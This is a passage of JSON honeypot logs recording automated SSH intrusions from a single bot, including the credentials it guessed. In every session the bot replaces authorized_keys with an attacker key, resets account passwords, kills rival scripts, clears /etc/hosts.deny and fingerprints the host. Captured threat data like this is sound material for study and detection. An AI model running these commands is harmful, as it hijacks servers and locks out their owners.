\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:25:02.079850+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:25:02.817295+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:25:03.145439+00:00","kind":"input","latency_ms":null,"data":"echo \"root:iD0e1zSpQrrn\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T04:25:03.465763+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T04:25:03.789827+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:25:04.687910+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:25:05.012350+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:25:05.929854+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:25:06.258319+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:25:07.394344+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:25:07.728037+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:25:08.119456+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:25:08.444090+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:25:08.923415+00:00","kind":"output","latency_ms":null,"data":" 04:25:08 up 7 days, 1:15, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:25:09.248636+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:25:10.053833+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:25:10.377533+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:25:10.689740+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:25:11.016045+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:25:11.856262+00:00","kind":"output","latency_ms":null,"data":"top - 04:25:11 up 7 days, 1:15, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:25:12.179542+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:25:12.764700+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:25:13.092266+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:25:13.929214+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:25:14.254627+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:25:14.640929+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T04:25:14.976713+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:25:15.940240+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:25:16.267445+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:25:17.596957+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12369852","method":"password","accepted":true,"tier":"other"}]} {"id":"3b82f935-58b4-461b-8637-633ea35adf0f","name":"faded-frank-catbird","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":40502,"username":"gmodserver","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":325,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:23:23.131226+00:00","ended_at":"2026-08-27T04:23:24.387253+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2077,"events":[{"seq":1,"at":"2026-08-27T04:23:03.270203+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:23:03.601767+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:23:07.731572+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:23:08.549768+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:23:08.872889+00:00","kind":"input","latency_ms":null,"data":"echo -e \"gmod\\nWNolkRc0s9bW\\nWNolkRc0s9bW\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:23:09.195900+00:00","kind":"input","latency_ms":null,"data":"echo \"gmod\\nWNolkRc0s9bW\\nWNolkRc0s9bW\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:23:09.519446+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:23:10.121994+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:23:10.445052+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:23:11.584643+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:23:11.910118+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:23:13.008997+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:23:13.335457+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:23:14.085944+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:23:14.411834+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:23:14.820320+00:00","kind":"output","latency_ms":null,"data":" 04:23:14 up 7 days, 1:13, 0 user, load average: 0.31, 0.22, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:23:15.142309+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:23:15.688429+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:23:16.012698+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:23:16.751138+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:23:17.076724+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:23:17.858312+00:00","kind":"output","latency_ms":null,"data":"top - 04:23:17 up 7 days, 1:13, 0 user, load average: 0.31, 0.22, 0.29\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:23:18.181227+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:23:18.970878+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:23:19.296149+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:23:19.960991+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:23:20.287060+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:23:21.091142+00:00","kind":"output","latency_ms":null,"data":"gmodserver"},{"seq":29,"at":"2026-08-27T04:23:21.415165+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:23:22.809144+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:23:23.131960+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:23:24.286955+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"gmodserver","password":"gmod","method":"password","accepted":true,"tier":"other"}]} {"id":"221d8468-d0a0-4f2d-8126-e9513be867c6","name":"kindly-forlorn-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":59978,"username":"code","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":319,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:21:16.854318+00:00","ended_at":"2026-08-27T04:21:17.950029+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2066,"events":[{"seq":1,"at":"2026-08-27T04:21:04.261642+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:21:04.595728+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:21:07.835723+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:21:07.837777+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:21:08.157292+00:00","kind":"input","latency_ms":null,"data":"echo -e \"code123\\n2DtosBTpp5VS\\n2DtosBTpp5VS\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:21:08.477593+00:00","kind":"input","latency_ms":null,"data":"echo \"code123\\n2DtosBTpp5VS\\n2DtosBTpp5VS\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:21:08.796278+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:21:08.797162+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:21:09.116072+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:21:09.743905+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:21:10.065355+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:21:10.660341+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:21:10.982160+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:21:10.982786+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:21:11.302128+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:21:11.302602+00:00","kind":"output","latency_ms":null,"data":" 04:21:11 up 7 days, 1:11, 0 user, load average: 0.23, 0.28, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:21:11.622360+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:21:11.623109+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:21:11.945928+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:21:11.947045+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:21:12.262399+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:21:12.636497+00:00","kind":"output","latency_ms":null,"data":"top - 04:21:12 up 7 days, 1:11, 0 user, load average: 0.23, 0.28, 0.18\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:21:12.953492+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:21:13.482714+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:21:13.803263+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:21:14.153795+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:21:14.474139+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:21:15.013190+00:00","kind":"output","latency_ms":null,"data":"code"},{"seq":29,"at":"2026-08-27T04:21:15.331825+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:21:16.536229+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:21:16.855580+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:21:17.851584+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"code","password":"code123","method":"password","accepted":true,"tier":"other"}]} {"id":"a1bab6d0-ccb3-46ea-bc7e-612c4bdb60c7","name":"somber-balmy-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":33976,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":309,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:19:17.948751+00:00","ended_at":"2026-08-27T04:19:18.567224+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2106,"events":[{"seq":1,"at":"2026-08-27T04:19:07.149149+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:19:07.455955+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:19:11.573703+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:19:11.574090+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:19:11.883814+00:00","kind":"input","latency_ms":null,"data":"echo \"root:bEq9knYAuw0f\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T04:19:12.189890+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T04:19:12.499416+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:19:12.499930+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:19:12.807836+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:19:13.310750+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:19:13.622176+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:19:14.215142+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:19:14.525999+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:19:14.526505+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:19:14.836534+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:19:14.837062+00:00","kind":"output","latency_ms":null,"data":" 04:19:14 up 7 days, 1:09, 0 user, load average: 0.09, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:19:15.148267+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:19:15.148931+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:19:15.459766+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:19:15.460121+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:19:15.767344+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:19:15.768077+00:00","kind":"output","latency_ms":null,"data":"top - 04:19:15 up 7 days, 1:09, 0 user, load average: 0.09, 0.08, 0.07\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:19:16.077383+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:19:16.077926+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:19:16.386743+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:19:16.387297+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:19:16.700404+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:19:16.700815+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T04:19:17.008199+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:19:17.639388+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:19:17.949524+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:19:18.473319+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Cc112233","method":"password","accepted":true,"tier":"other"}]} {"id":"d207bb49-94c5-406c-a2ea-1fe6e42bf6fd","name":"idle-snowy-jackdaw","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":54904,"username":"ray","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":314,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:17:19.072824+00:00","ended_at":"2026-08-27T04:17:19.676348+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2035,"events":[{"seq":1,"at":"2026-08-27T04:17:07.696821+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:17:08.010611+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:17:12.086898+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:17:12.087385+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:17:12.404573+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ray\\njuvds7FZovI9\\njuvds7FZovI9\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:17:12.716787+00:00","kind":"input","latency_ms":null,"data":"echo \"ray\\njuvds7FZovI9\\njuvds7FZovI9\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:17:13.032759+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:17:13.033278+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:17:13.345215+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:17:14.248387+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:17:14.564444+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:17:15.342218+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:17:15.659468+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:17:15.659948+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T04:17:15.975079+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:17:15.975542+00:00","kind":"output","latency_ms":null,"data":" 04:17:15 up 7 days, 1:07, 0 user, load average: 0.09, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:17:16.289642+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:17:16.290129+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:17:16.603654+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc 